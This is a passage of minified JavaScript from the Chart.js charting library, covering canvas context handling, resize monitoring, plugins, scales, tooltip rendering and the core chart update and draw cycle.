t[n]+=i,i}t.y+=n("top"),t.x+=n("left"),n("right"),n("bottom")}(h),ue(s.leftAndTop,h,d),h.x+=h.w,h.y+=h.h,ue(s.rightAndBottom,h,d),t.chartArea={left:h.left,top:h.top,right:h.left+h.w,bottom:h.top+h.h},H.each(s.chartArea,(function(e){var n=e.box;ne(n,t.chartArea),n.update(h.w,h.h)}))}}},ce=(de=Object.freeze({__proto__:null,default:"@keyframes chartjs-render-animation{from{opacity:.99}to{opacity:1}}.chartjs-render-monitor{animation:chartjs-render-animation 1ms}.chartjs-size-monitor,.chartjs-size-monitor-expand,.chartjs-size-monitor-shrink{position:absolute;direction:ltr;left:0;top:0;right:0;bottom:0;overflow:hidden;pointer-events:none;visibility:hidden;z-index:-1}.chartjs-size-monitor-expand>div{position:absolute;width:1000000px;height:1000000px;left:0;top:0}.chartjs-size-monitor-shrink>div{position:absolute;width:200%;height:200%;left:0;top:0}"}))&&de.default||de,fe="$chartjs",ge="chartjs-size-monitor",pe="chartjs-render-monitor",me=["animationstart","webkitAnimationStart"],ve={touchstart:"mousedown",touchmove:"mousemove",touchend:"mouseup",pointerenter:"mouseenter",pointerdown:"mousedown",pointermove:"mousemove",pointerup:"mouseup",pointerleave:"mouseout",pointerout:"mouseout"};function be(t,e){var n=H.getStyle(t,e),i=n&&n.match(/^(\d+)(\.\d+)?px$/);return i?Number(i[1]):void 0}var xe=!!function(){var t=!1;try{var e=Object.defineProperty({},"passive",{get:function(){t=!0}});window.addEventListener("e",null,e)}catch(t){}return t}()&&{passive:!0};function ye(t,e,n){t.addEventListener(e,n,xe)}function _e(t,e,n){t.removeEventListener(e,n,xe)}function ke(t,e,n,i,a){return{type:t,chart:e,native:a||null,x:void 0!==n?n:null,y:void 0!==i?i:null}}function we(t){var e=document.createElement("div");return e.className=t||"",e}var Me={disableCSSInjection:!1,_enabled:"undefined"!=typeof window&&"undefined"!=typeof document,_ensureLoaded:function(t){if(!this.disableCSSInjection){var e=t.getRootNode?t.getRootNode():document;!function(t,e){var n=t[fe]||(t[fe]={});if(!n.containsStyles){n.containsStyles=!0,e="/* Chart.js */\n"+e;var i=document.createElement("style");i.setAttribute("type","text/css"),i.appendChild(document.createTextNode(e)),t.appendChild(i)}}(e.host?e:document.head,ce)}},acquireContext:function(t,e){"string"==typeof t?t=document.getElementById(t):t.length&&(t=t[0]),t&&t.canvas&&(t=t.canvas);var n=t&&t.getContext&&t.getContext("2d");return n&&n.canvas===t?(this._ensureLoaded(t),function(t,e){var n=t.style,i=t.getAttribute("height"),a=t.getAttribute("width");if(t[fe]={initial:{height:i,width:a,style:{display:n.display,height:n.height,width:n.width}}},n.display=n.display||"block",null===a||""===a){var r=be(t,"width");void 0!==r&&(t.width=r)}if(null===i||""===i)if(""===t.style.height)t.height=t.width/(e.options.aspectRatio||2);else{var o=be(t,"height");void 0!==r&&(t.height=o)}}(t,e),n):null},releaseContext:function(t){var e=t.canvas;if(e[fe]){var n=e[fe].initial;["height","width"].forEach((function(t){var i=n[t];H.isNullOrUndef(i)?e.removeAttribute(t):e.setAttribute(t,i)})),H.each(n.style||{},(function(t,n){e.style[n]=t})),e.width=e.width,delete e[fe]}},addEventListener:function(t,e,n){var i=t.canvas;if("resize"!==e){var a=n[fe]||(n[fe]={});ye(i,e,(a.proxies||(a.proxies={}))[t.id+"_"+e]=function(e){n(function(t,e){var n=ve[t.type]||t.type,i=H.getRelativePosition(t,e);return ke(n,e,i.x,i.y,t)}(e,t))})}else!function(t,e,n){var i,a,r,o,s=t[fe]||(t[fe]={}),l=s.resizer=function(t){var e=we(ge),n=we(ge+"-expand"),i=we(ge+"-shrink");n.appendChild(we()),i.appendChild(we()),e.appendChild(n),e.appendChild(i),e._reset=function(){n.scrollLeft=1e6,n.scrollTop=1e6,i.scrollLeft=1e6,i.scrollTop=1e6};var a=function(){e._reset(),t()};return ye(n,"scroll",a.bind(n,"expand")),ye(i,"scroll",a.bind(i,"shrink")),e}((i=function(){if(s.resizer){var i=n.options.maintainAspectRatio&&t.parentNode,a=i?i.clientWidth:0;e(ke("resize",n)),i&&i.clientWidth<a&&n.canvas&&e(ke("resize",n))}},r=!1,o=[],function(){o=Array.prototype.slice.call(arguments),a=a||this,r||(r=!0,H.requestAnimFrame.call(window,(function(){r=!1,i.apply(a,o)})))}));!function(t,e){var n=t[fe]||(t[fe]={}),i=n.renderProxy=function(t){"chartjs-render-animation"===t.animationName&&e()};H.each(me,(function(e){ye(t,e,i)})),n.reflow=!!t.offsetParent,t.classList.add(pe)}(t,(function(){if(s.resizer){var e=t.parentNode;e&&e!==l.parentNode&&e.insertBefore(l,e.firstChild),l._reset()}}))}(i,n,t)},removeEventListener:function(t,e,n){var i=t.canvas;if("resize"!==e){var a=((n[fe]||{}).proxies||{})[t.id+"_"+e];a&&_e(i,e,a)}else!function(t){var e=t[fe]||{},n=e.resizer;delete e.resizer,function(t){var e=t[fe]||{},n=e.renderProxy;n&&(H.each(me,(function(e){_e(t,e,n)})),delete e.renderProxy),t.classList.remove(pe)}(t),n&&n.parentNode&&n.parentNode.removeChild(n)}(i)}};H.addEvent=ye,H.removeEvent=_e;var Se=Me._enabled?Me:{acquireContext:function(t){return t&&t.canvas&&(t=t.canvas),t&&t.getContext("2d")||null}},Ce=H.extend({initialize:function(){},acquireContext:function(){},releaseContext:function(){},addEventListener:function(){},removeEventListener:function(){}},Se);N._set("global",{plugins:{}});var Pe={_plugins:[],_cacheId:0,register:function(t){var e=this._plugins;[].concat(t).forEach((function(t){-1===e.indexOf(t)&&e.push(t)})),this._cacheId++},unregister:function(t){var e=this._plugins;[].concat(t).forEach((function(t){var n=e.indexOf(t);-1!==n&&e.splice(n,1)})),this._cacheId++},clear:function(){this._plugins=[],this._cacheId++},count:function(){return this._plugins.length},getAll:function(){return this._plugins},notify:function(t,e,n){var i,a,r,o,s,l=this.descriptors(t),u=l.length;for(i=0;i<u;++i)if("function"==typeof(s=(r=(a=l[i]).plugin)[e])&&((o=[t].concat(n||[])).push(a.options),!1===s.apply(r,o)))return!1;return!0},descriptors:function(t){var e=t.$plugins||(t.$plugins={});if(e.id===this._cacheId)return e.descriptors;var n=[],i=[],a=t&&t.config||{},r=a.options&&a.options.plugins||{};return this._plugins.concat(a.plugins||[]).forEach((function(t){if(-1===n.indexOf(t)){var e=t.id,a=r[e];!1!==a&&(!0===a&&(a=H.clone(N.global.plugins[e])),n.push(t),i.push({plugin:t,options:a||{}}))}})),e.descriptors=i,e.id=this._cacheId,i},_invalidate:function(t){delete t.$plugins}},Ae={constructors:{},defaults:{},registerScaleType:function(t,e,n){this.constructors[t]=e,this.defaults[t]=H.clone(n)},getScaleConstructor:function(t){return this.constructors.hasOwnProperty(t)?this.constructors[t]:void 0},getScaleDefaults:function(t){return this.defaults.hasOwnProperty(t)?H.merge(Object.create(null),[N.scale,this.defaults[t]]):{}},updateScaleDefaults:function(t,e){this.defaults.hasOwnProperty(t)&&(this.defaults[t]=H.extend(this.defaults[t],e))},addScalesToLayout:function(t){H.each(t.scales,(function(e){e.fullWidth=e.options.fullWidth,e.position=e.options.position,e.weight=e.options.weight,he.addBox(t,e)}))}},De=H.valueOrDefault,Te=H.rtl.getRtlAdapter;N._set("global",{tooltips:{enabled:!0,custom:null,mode:"nearest",position:"average",intersect:!0,backgroundColor:"rgba(0,0,0,0.8)",titleFontStyle:"bold",titleSpacing:2,titleMarginBottom:6,titleFontColor:"#fff",titleAlign:"left",bodySpacing:2,bodyFontColor:"#fff",bodyAlign:"left",footerFontStyle:"bold",footerSpacing:2,footerMarginTop:6,footerFontColor:"#fff",footerAlign:"left",yPadding:6,xPadding:6,caretPadding:2,caretSize:5,cornerRadius:6,multiKeyBackground:"#fff",displayColors:!0,borderColor:"rgba(0,0,0,0)",borderWidth:0,callbacks:{beforeTitle:H.noop,title:function(t,e){var n="",i=e.labels,a=i?i.length:0;if(t.length>0){var r=t[0];r.label?n=r.label:r.xLabel?n=r.xLabel:a>0&&r.index<a&&(n=i[r.index])}return n},afterTitle:H.noop,beforeBody:H.noop,beforeLabel:H.noop,label:function(t,e){var n=e.datasets[t.datasetIndex].label||"";return n&&(n+=": "),H.isNullOrUndef(t.value)?n+=t.yLabel:n+=t.value,n},labelColor:function(t,e){var n=e.getDatasetMeta(t.datasetIndex).data[t.index]._view;return{borderColor:n.borderColor,backgroundColor:n.backgroundColor}},labelTextColor:function(){return this._options.bodyFontColor},afterLabel:H.noop,afterBody:H.noop,beforeFooter:H.noop,footer:H.noop,afterFooter:H.noop}}});var Ie={average:function(t){if(!t.length)return!1;var e,n,i=0,a=0,r=0;for(e=0,n=t.length;e<n;++e){var o=t[e];if(o&&o.hasValue()){var s=o.tooltipPosition();i+=s.x,a+=s.y,++r}}return{x:i/r,y:a/r}},nearest:function(t,e){var n,i,a,r=e.x,o=e.y,s=Number.POSITIVE_INFINITY;for(n=0,i=t.length;n<i;++n){var l=t[n];if(l&&l.hasValue()){var u=l.getCenterPoint(),d=H.distanceBetweenPoints(e,u);d<s&&(s=d,a=l)}}if(a){var h=a.tooltipPosition();r=h.x,o=h.y}return{x:r,y:o}}};function Fe(t,e){return e&&(H.isArray(e)?Array.prototype.push.apply(t,e):t.push(e)),t}function Oe(t){return("string"==typeof t||t instanceof String)&&t.indexOf("\n")>-1?t.split("\n"):t}function Le(t){var e=N.global;return{xPadding:t.xPadding,yPadding:t.yPadding,xAlign:t.xAlign,yAlign:t.yAlign,rtl:t.rtl,textDirection:t.textDirection,bodyFontColor:t.bodyFontColor,_bodyFontFamily:De(t.bodyFontFamily,e.defaultFontFamily),_bodyFontStyle:De(t.bodyFontStyle,e.defaultFontStyle),_bodyAlign:t.bodyAlign,bodyFontSize:De(t.bodyFontSize,e.defaultFontSize),bodySpacing:t.bodySpacing,titleFontColor:t.titleFontColor,_titleFontFamily:De(t.titleFontFamily,e.defaultFontFamily),_titleFontStyle:De(t.titleFontStyle,e.defaultFontStyle),titleFontSize:De(t.titleFontSize,e.defaultFontSize),_titleAlign:t.titleAlign,titleSpacing:t.titleSpacing,titleMarginBottom:t.titleMarginBottom,footerFontColor:t.footerFontColor,_footerFontFamily:De(t.footerFontFamily,e.defaultFontFamily),_footerFontStyle:De(t.footerFontStyle,e.defaultFontStyle),footerFontSize:De(t.footerFontSize,e.defaultFontSize),_footerAlign:t.footerAlign,footerSpacing:t.footerSpacing,footerMarginTop:t.footerMarginTop,caretSize:t.caretSize,cornerRadius:t.cornerRadius,backgroundColor:t.backgroundColor,opacity:0,legendColorBackground:t.multiKeyBackground,displayColors:t.displayColors,borderColor:t.borderColor,borderWidth:t.borderWidth}}function Re(t,e){return"center"===e?t.x+t.width/2:"right"===e?t.x+t.width-t.xPadding:t.x+t.xPadding}function ze(t){return Fe([],Oe(t))}var Ne=X.extend({initialize:function(){this._model=Le(this._options),this._lastActive=[]},getTitle:function(){var t=this,e=t._options,n=e.callbacks,i=n.beforeTitle.apply(t,arguments),a=n.title.apply(t,arguments),r=n.afterTitle.apply(t,arguments),o=[];return o=Fe(o,Oe(i)),o=Fe(o,Oe(a)),Fe(o,Oe(r))},getBeforeBody:function(){return ze(this._options.callbacks.beforeBody.apply(this,arguments))},getBody:function(t,e){var n=this,i=n._options.callbacks,a=[];return H.each(t,(function(t){var r={before:[],lines:[],after:[]};Fe(r.before,Oe(i.beforeLabel.call(n,t,e))),Fe(r.lines,i.label.call(n,t,e)),Fe(r.after,Oe(i.afterLabel.call(n,t,e))),a.push(r)})),a},getAfterBody:function(){return ze(this._options.callbacks.afterBody.apply(this,arguments))},getFooter:function(){var t=this,e=t._options.callbacks,n=e.beforeFooter.apply(t,arguments),i=e.footer.apply(t,arguments),a=e.afterFooter.apply(t,arguments),r=[];return r=Fe(r,Oe(n)),r=Fe(r,Oe(i)),Fe(r,Oe(a))},update:function(t){var e,n,i,a,r,o,s,l,u,d,h=this,c=h._options,f=h._model,g=h._model=Le(c),p=h._active,m=h._data,v={xAlign:f.xAlign,yAlign:f.yAlign},b={x:f.x,y:f.y},x={width:f.width,height:f.height},y={x:f.caretX,y:f.caretY};if(p.length){g.opacity=1;var _=[],k=[];y=Ie[c.position].call(h,p,h._eventPosition);var w=[];for(e=0,n=p.length;e<n;++e)w.push((a=void 0,r=void 0,l=void 0,u=void 0,d=void 0,a=(i=p[e])._xScale,r=i._yScale||i._scale,o=i._index,s=i._datasetIndex,u=(l=i._chart.getDatasetMeta(s).controller)._getIndexScale(),d=l._getValueScale(),{xLabel:a?a.getLabelForIndex(o,s):"",yLabel:r?r.getLabelForIndex(o,s):"",label:u?""+u.getLabelForIndex(o,s):"",value:d?""+d.getLabelForIndex(o,s):"",index:o,datasetIndex:s,x:i._model.x,y:i._model.y}));c.filter&&(w=w.filter((function(t){return c.filter(t,m)}))),c.itemSort&&(w=w.sort((function(t,e){return c.itemSort(t,e,m)}))),H.each(w,(function(t){_.push(c.callbacks.labelColor.call(h,t,h._chart)),k.push(c.callbacks.labelTextColor.call(h,t,h._chart))})),g.title=h.getTitle(w,m),g.beforeBody=h.getBeforeBody(w,m),g.body=h.getBody(w,m),g.afterBody=h.getAfterBody(w,m),g.footer=h.getFooter(w,m),g.x=y.x,g.y=y.y,g.caretPadding=c.caretPadding,g.labelColors=_,g.labelTextColors=k,g.dataPoints=w,b=function(t,e,n,i){var a=t.x,r=t.y,o=t.caretSize,s=t.caretPadding,l=t.cornerRadius,u=n.xAlign,d=n.yAlign,h=o+s,c=l+s;return"right"===u?a-=e.width:"center"===u&&((a-=e.width/2)+e.width>i.width&&(a=i.width-e.width),a<0&&(a=0)),"top"===d?r+=h:r-="bottom"===d?e.height+h:e.height/2,"center"===d?"left"===u?a+=h:"right"===u&&(a-=h):"left"===u?a-=c:"right"===u&&(a+=c),{x:a,y:r}}(g,x=function(t,e){var n=t._chart.ctx,i=2*e.yPadding,a=0,r=e.body,o=r.reduce((function(t,e){return t+e.before.length+e.lines.length+e.after.length}),0);o+=e.beforeBody.length+e.afterBody.length;var s=e.title.length,l=e.footer.length,u=e.titleFontSize,d=e.bodyFontSize,h=e.footerFontSize;i+=s*u,i+=s?(s-1)*e.titleSpacing:0,i+=s?e.titleMarginBottom:0,i+=o*d,i+=o?(o-1)*e.bodySpacing:0,i+=l?e.footerMarginTop:0,i+=l*h,i+=l?(l-1)*e.footerSpacing:0;var c=0,f=function(t){a=Math.max(a,n.measureText(t).width+c)};return n.font=H.fontString(u,e._titleFontStyle,e._titleFontFamily),H.each(e.title,f),n.font=H.fontString(d,e._bodyFontStyle,e._bodyFontFamily),H.each(e.beforeBody.concat(e.afterBody),f),c=e.displayColors?d+2:0,H.each(r,(function(t){H.each(t.before,f),H.each(t.lines,f),H.each(t.after,f)})),c=0,n.font=H.fontString(h,e._footerFontStyle,e._footerFontFamily),H.each(e.footer,f),{width:a+=2*e.xPadding,height:i}}(this,g),v=function(t,e){var n,i,a,r,o,s=t._model,l=t._chart,u=t._chart.chartArea,d="center",h="center";s.y<e.height?h="top":s.y>l.height-e.height&&(h="bottom");var c=(u.left+u.right)/2,f=(u.top+u.bottom)/2;"center"===h?(n=function(t){return t<=c},i=function(t){return t>c}):(n=function(t){return t<=e.width/2},i=function(t){return t>=l.width-e.width/2}),a=function(t){return t+e.width+s.caretSize+s.caretPadding>l.width},r=function(t){return t-e.width-s.caretSize-s.caretPadding<0},o=function(t){return t<=f?"top":"bottom"},n(s.x)?(d="left",a(s.x)&&(d="center",h=o(s.y))):i(s.x)&&(d="right",r(s.x)&&(d="center",h=o(s.y)));var g=t._options;return{xAlign:g.xAlign?g.xAlign:d,yAlign:g.yAlign?g.yAlign:h}}(this,x),h._chart)}else g.opacity=0;return g.xAlign=v.xAlign,g.yAlign=v.yAlign,g.x=b.x,g.y=b.y,g.width=x.width,g.height=x.height,g.caretX=y.x,g.caretY=y.y,h._model=g,t&&c.custom&&c.custom.call(h,g),h},drawCaret:function(t,e){var n=this._chart.ctx,i=this._view,a=this.getCaretPosition(t,e,i);n.lineTo(a.x1,a.y1),n.lineTo(a.x2,a.y2),n.lineTo(a.x3,a.y3)},getCaretPosition:function(t,e,n){var i,a,r,o,s,l,u=n.caretSize,d=n.cornerRadius,h=n.xAlign,c=n.yAlign,f=t.x,g=t.y,p=e.width,m=e.height;if("center"===c)s=g+m/2,"left"===h?(a=(i=f)-u,r=i,o=s+u,l=s-u):(a=(i=f+p)+u,r=i,o=s-u,l=s+u);else if("left"===h?(i=(a=f+d+u)-u,r=a+u):"right"===h?(i=(a=f+p-d-u)-u,r=a+u):(i=(a=n.caretX)-u,r=a+u),"top"===c)s=(o=g)-u,l=o;else{s=(o=g+m)+u,l=o;var v=r;r=i,i=v}return{x1:i,x2:a,x3:r,y1:o,y2:s,y3:l}},drawTitle:function(t,e,n){var i,a,r,o=e.title,s=o.length;if(s){var l=Te(e.rtl,e.x,e.width);for(t.x=Re(e,e._titleAlign),n.textAlign=l.textAlign(e._titleAlign),n.textBaseline="middle",i=e.titleFontSize,a=e.titleSpacing,n.fillStyle=e.titleFontColor,n.font=H.fontString(i,e._titleFontStyle,e._titleFontFamily),r=0;r<s;++r)n.fillText(o[r],l.x(t.x),t.y+i/2),t.y+=i+a,r+1===s&&(t.y+=e.titleMarginBottom-a)}},drawBody:function(t,e,n){var i,a,r,o,s,l,u,d,h=e.bodyFontSize,c=e.bodySpacing,f=e._bodyAlign,g=e.body,p=e.displayColors,m=0,v=p?Re(e,"left"):0,b=Te(e.rtl,e.x,e.width),x=function(e){n.fillText(e,b.x(t.x+m),t.y+h/2),t.y+=h+c},y=b.textAlign(f);for(n.textAlign=f,n.textBaseline="middle",n.font=H.fontString(h,e._bodyFontStyle,e._bodyFontFamily),t.x=Re(e,y),n.fillStyle=e.bodyFontColor,H.each(e.beforeBody,x),m=p&&"right"!==y?"center"===f?h/2+1:h+2:0,s=0,u=g.length;s<u;++s){for(i=g[s],a=e.labelTextColors[s],r=e.labelColors[s],n.fillStyle=a,H.each(i.before,x),l=0,d=(o=i.lines).length;l<d;++l){if(p){var _=b.x(v);n.fillStyle=e.legendColorBackground,n.fillRect(b.leftForLtr(_,h),t.y,h,h),n.lineWidth=1,n.strokeStyle=r.borderColor,n.strokeRect(b.leftForLtr(_,h),t.y,h,h),n.fillStyle=r.backgroundColor,n.fillRect(b.leftForLtr(b.xPlus(_,1),h-2),t.y+1,h-2,h-2),n.fillStyle=a}x(o[l])}H.each(i.after,x)}m=0,H.each(e.afterBody,x),t.y-=c},drawFooter:function(t,e,n){var i,a,r=e.footer,o=r.length;if(o){var s=Te(e.rtl,e.x,e.width);for(t.x=Re(e,e._footerAlign),t.y+=e.footerMarginTop,n.textAlign=s.textAlign(e._footerAlign),n.textBaseline="middle",i=e.footerFontSize,n.fillStyle=e.footerFontColor,n.font=H.fontString(i,e._footerFontStyle,e._footerFontFamily),a=0;a<o;++a)n.fillText(r[a],s.x(t.x),t.y+i/2),t.y+=i+e.footerSpacing}},drawBackground:function(t,e,n,i){n.fillStyle=e.backgroundColor,n.strokeStyle=e.borderColor,n.lineWidth=e.borderWidth;var a=e.xAlign,r=e.yAlign,o=t.x,s=t.y,l=i.width,u=i.height,d=e.cornerRadius;n.beginPath(),n.moveTo(o+d,s),"top"===r&&this.drawCaret(t,i),n.lineTo(o+l-d,s),n.quadraticCurveTo(o+l,s,o+l,s+d),"center"===r&&"right"===a&&this.drawCaret(t,i),n.lineTo(o+l,s+u-d),n.quadraticCurveTo(o+l,s+u,o+l-d,s+u),"bottom"===r&&this.drawCaret(t,i),n.lineTo(o+d,s+u),n.quadraticCurveTo(o,s+u,o,s+u-d),"center"===r&&"left"===a&&this.drawCaret(t,i),n.lineTo(o,s+d),n.quadraticCurveTo(o,s,o+d,s),n.closePath(),n.fill(),e.borderWidth>0&&n.stroke()},draw:function(){var t=this._chart.ctx,e=this._view;if(0!==e.opacity){var n={width:e.width,height:e.height},i={x:e.x,y:e.y},a=Math.abs(e.opacity<.001)?0:e.opacity,r=e.title.length||e.beforeBody.length||e.body.length||e.afterBody.length||e.footer.length;this._options.enabled&&r&&(t.save(),t.globalAlpha=a,this.drawBackground(i,e,t,n),i.y+=e.yPadding,H.rtl.overrideTextDirection(t,e.textDirection),this.drawTitle(i,e,t),this.drawBody(i,e,t),this.drawFooter(i,e,t),H.rtl.restoreTextDirection(t,e.textDirection),t.restore())}},handleEvent:function(t){var e,n=this,i=n._options;return n._lastActive=n._lastActive||[],"mouseout"===t.type?n._active=[]:(n._active=n._chart.getElementsAtEventForMode(t,i.mode,i),i.reverse&&n._active.reverse()),(e=!H.arrayEquals(n._active,n._lastActive))&&(n._lastActive=n._active,(i.enabled||i.custom)&&(n._eventPosition={x:t.x,y:t.y},n.update(!0),n.pivot())),e}}),Be=Ie,Ee=Ne;Ee.positioners=Be;var We=H.valueOrDefault;function Ve(){return H.merge(Object.create(null),[].slice.call(arguments),{merger:function(t,e,n,i){if("xAxes"===t||"yAxes"===t){var a,r,o,s=n[t].length;for(e[t]||(e[t]=[]),a=0;a<s;++a)o=n[t][a],r=We(o.type,"xAxes"===t?"category":"linear"),a>=e[t].length&&e[t].push({}),!e[t][a].type||o.type&&o.type!==e[t][a].type?H.merge(e[t][a],[Ae.getScaleDefaults(r),o]):H.merge(e[t][a],o)}else H._merger(t,e,n,i)}})}function He(){return H.merge(Object.create(null),[].slice.call(arguments),{merger:function(t,e,n,i){var a=e[t]||Object.create(null),r=n[t];"scales"===t?e[t]=Ve(a,r):"scale"===t?e[t]=H.merge(a,[Ae.getScaleDefaults(r.type),r]):H._merger(t,e,n,i)}})}function je(t){var e=t.options;H.each(t.scales,(function(e){he.removeBox(t,e)})),e=He(N.global,N[t.config.type],e),t.options=t.config.options=e,t.ensureScalesHaveIDs(),t.buildOrUpdateScales(),t.tooltip._options=e.tooltips,t.tooltip.initialize()}function qe(t,e,n){var i,a=function(t){return t.id===i};do{i=e+n++}while(H.findIndex(t,a)>=0);return i}function Ue(t){return"top"===t||"bottom"===t}function Ye(t,e){return function(n,i){return n[t]===i[t]?n[e]-i[e]:n[t]-i[t]}}N._set("global",{elements:{},events:["mousemove","mouseout","click","touchstart","touchmove"],hover:{onHover:null,mode:"nearest",intersect:!0,animationDuration:400},onClick:null,maintainAspectRatio:!0,responsive:!0,responsiveAnimationDuration:0});var Ge=function(t,e){return this.construct(t,e),this};H.extend(Ge.prototype,{construct:function(t,e){var n=this;e=function(t){var e=(t=t||Object.create(null)).data=t.data||{};return e.datasets=e.datasets||[],e.labels=e.labels||[],t.options=He(N.global,N[t.type],t.options||{}),t}(e);var i=Ce.acquireContext(t,e),a=i&&i.canvas,r=a&&a.height,o=a&&a.width;n.id=H.uid(),n.ctx=i,n.canvas=a,n.config=e,n.width=o,n.height=r,n.aspectRatio=r?o/r:null,n.options=e.options,n._bufferedRender=!1,n._layers=[],n.chart=n,n.controller=n,Ge.instances[n.id]=n,Object.defineProperty(n,"data",{get:function(){return n.config.data},set:function(t){n.config.data=t}}),i&&a?(n.initialize(),n.update()):console.error("Failed to create chart: can't acquire context from the given item")},initialize:function(){var t=this;return Pe.notify(t,"beforeInit"),H.retinaScale(t,t.options.devicePixelRatio),t.bindEvents(),t.options.responsive&&t.resize(!0),t.initToolTip(),Pe.notify(t,"afterInit"),t},clear:function(){return H.canvas.clear(this),this},stop:function(){return $.cancelAnimation(this),this},resize:function(t){var e=this,n=e.options,i=e.canvas,a=n.maintainAspectRatio&&e.aspectRatio||null,r=Math.max(0,Math.floor(H.getMaximumWidth(i))),o=Math.max(0,Math.floor(a?r/a:H.getMaximumHeight(i)));if((e.width!==r||e.height!==o)&&(i.width=e.width=r,i.height=e.height=o,i.style.width=r+"px",i.style.height=o+"px",H.retinaScale(e,n.devicePixelRatio),!t)){var s={width:r,height:o};Pe.notify(e,"resize",[s]),n.onResize&&n.onResize(e,s),e.stop(),e.update({duration:n.responsiveAnimationDuration})}},ensureScalesHaveIDs:function(){var t=this.options,e=t.scales||{},n=t.scale;H.each(e.xAxes,(function(t,n){t.id||(t.id=qe(e.xAxes,"x-axis-",n))})),H.each(e.yAxes,(function(t,n){t.id||(t.id=qe(e.yAxes,"y-axis-",n))})),n&&(n.id=n.id||"scale")},buildOrUpdateScales:function(){var t=this,e=t.options,n=t.scales||{},i=[],a=Object.keys(n).reduce((function(t,e){return t[e]=!1,t}),{});e.scales&&(i=i.concat((e.scales.xAxes||[]).map((function(t){return{options:t,dtype:"category",dposition:"bottom"}})),(e.scales.yAxes||[]).map((function(t){return{options:t,dtype:"linear",dposition:"left"}})))),e.scale&&i.push({options:e.scale,dtype:"radialLinear",isDefault:!0,dposition:"chartArea"}),H.each(i,(function(e){var i=e.options,r=i.id,o=We(i.type,e.dtype);Ue(i.position)!==Ue(e.dposition)&&(i.position=e.dposition),a[r]=!0;var s=null;if(r in n&&n[r].type===o)(s=n[r]).options=i,s.ctx=t.ctx,s.chart=t;else{var l=Ae.getScaleConstructor(o);if(!l)return;s=new l({id:r,type:o,options:i,ctx:t.ctx,chart:t}),n[s.id]=s}s.mergeTicksOptions(),e.isDefault&&(t.scale=s)})),H.each(a,(function(t,e){t||delete n[e]})),t.scales=n,Ae.addScalesToLayout(this)},buildOrUpdateControllers:function(){var t,e,n=this,i=[],a=n.data.datasets;for(t=0,e=a.length;t<e;t++){var r=a[t],o=n.getDatasetMeta(t),s=r.type||n.config.type;if(o.type&&o.type!==s&&(n.destroyDatasetMeta(t),o=n.getDatasetMeta(t)),o.type=s,o.order=r.order||0,o.index=t,o.controller)o.controller.updateIndex(t),o.controller.linkScales();else{var l=Xt[o.type];if(void 0===l)throw new Error('"'+o.type+'" is not a chart type.');o.controller=new l(n,t),i.push(o.controller)}}return i},resetElements:function(){var t=this;H.each(t.data.datasets,(function(e,n){t.getDatasetMeta(n).controller.reset()}),t)},reset:function(){this.resetElements(),this.tooltip.initialize()},update:function(t){var e,n,i=this;if(t&&"object"==typeof t||(t={duration:t,lazy:arguments[1]}),je(i),Pe._invalidate(i),!1!==Pe.notify(i,"beforeUpdate")){i.tooltip._data=i.data;var a=i.buildOrUpdateControllers();for(e=0,n=i.data.datasets.length;e<n;e++)i.getDatasetMeta(e).controller.buildOrUpdateElements();i.updateLayout(),i.options.animation&&i.options.animation.duration&&H.each(a,(function(t){t.reset()})),i.updateDatasets(),i.tooltip.initialize(),i.lastActive=[],Pe.notify(i,"afterUpdate"),i._layers.sort(Ye("z","_idx")),i._bufferedRender?i._bufferedRequest={duration:t.duration,easing:t.easing,lazy:t.lazy}:i.render(t)}},updateLayout:function(){var t=this;!1!==Pe.notify(t,"beforeLayout")&&(he.update(this,this.width,this.height),t._layers=[],H.each(t.boxes,(function(e){e._configure&&e._configure(),t._layers.push.apply(t._layers,e._layers())}),t),t._layers.forEach((function(t,e){t._idx=e})),Pe.notify(t,"afterScaleUpdate"),Pe.notify(t,"afterLayout"))},updateDatasets:function(){if(!1!==Pe.notify(this,"beforeDatasetsUpdate")){for(var t=0,e=this.data.datasets.length;t<e;++t)this.updateDataset(t);Pe.notify(this,"afterDatasetsUpdate")}},updateDataset:function(t){var e=this.getDatasetMeta(t),n={meta:e,index:t};!1!==Pe.notify(this,"beforeDatasetUpdate",[n])&&(e.controller._update(),Pe.notify(this,"afterDatasetUpdate",[n]))},render:function(t){var e=this;t&&"object"==typeof t||(t={duration:t,lazy:arguments[1]});var n=e.options.animation,i=We(t.duration,n&&n.duration),a=t.lazy;if(!1!==Pe.notify(e,"beforeRender")){var r=function(t){Pe.notify(e,"afterRender"),H.callback(n&&n.onComplete,[t],e)};if(n&&i){var o=new Z({numSteps:i/16.66,easing:t.easing||n.easing,render:function(t,e){var n=H.easing.effects[e.easing],i=e.currentStep,a=i/e.numSteps;t.draw(n(a),a,i)},onAnimationProgress:n.onProgress,onAnimationComplete:r});$.addAnimation(e,o,i,a)}else e.draw(),r(new Z({numSteps:0,chart:e}));return e}},draw:function(t){var e,n,i=this;if(i.clear(),H.isNullOrUndef(t)&&(t=1),i.transition(t),!(i.width<=0||i.height<=0)&&!1!==Pe.notify(i,"beforeDraw",[t])){for(n=i._layers,e=0;e<n.length&&n[e].z<=0;++e)n[e].draw(i.chartArea);for(i.drawDatasets(t);e<n.length;++e)n[e].draw(i.chartArea);i._drawTooltip(t),Pe.notify(i,"afterDraw",[t])}},transition:function(t){for(var e=0,n=(this.data.datasets||[]).length;e<n;++e)this.isDatasetVisible(e)&&this.getDatasetMeta(e).controller.transition(t);this.tooltip.transition(t)},_getSortedDatasetMetas:function(t){var e,n,i=[];for(e=0,n=(this.data.datasets||[]).length;e<n;++e)t&&!this.isDatasetVisible(e)||i.push(this.getDatasetMeta(e));return i.sort(Ye("order","index")),i},_getSortedVisibleDatasetMetas:function(){return this._getSortedDatasetMetas(!0)},drawDatasets:function(t){var e,n;if(!1!==Pe.notify(this,"beforeDatasetsDraw",[t])){for(n=(e=this._getSortedVisibleDatasetMetas()).length-1;n>=0;--n)this.drawDataset(e[n],t);Pe.notify(this,"afterDatasetsDraw",[t])}},drawDataset:function(t,e){var n={meta:t,index:t.index,easingValue:e};!1!==Pe.notify(this,"beforeDatasetDraw",[n])&&(t.controller.draw(e),Pe.notify(this,"afterDatasetDraw",[n]))},_drawTooltip:function(t){var e=this.tooltip,n={tooltip:e,easingValue:t};!1!==Pe.notify(this,"beforeTooltipDraw",[n])&&(e.draw(),Pe.notify(this,"afterTooltipDraw",[n]))},getElementAtEvent:function(t){return ee.modes.single(this,t)},getElementsAtEvent:function(t){return ee.modes.label(this,t,{intersect:!0})},getElementsAtXAxis:function(t){return ee.modes["x-axis"](this,t,{intersect:!0})},getElementsAtEventForMode:function(t,e,n){var i=ee.modes[e];return"function"==typeof 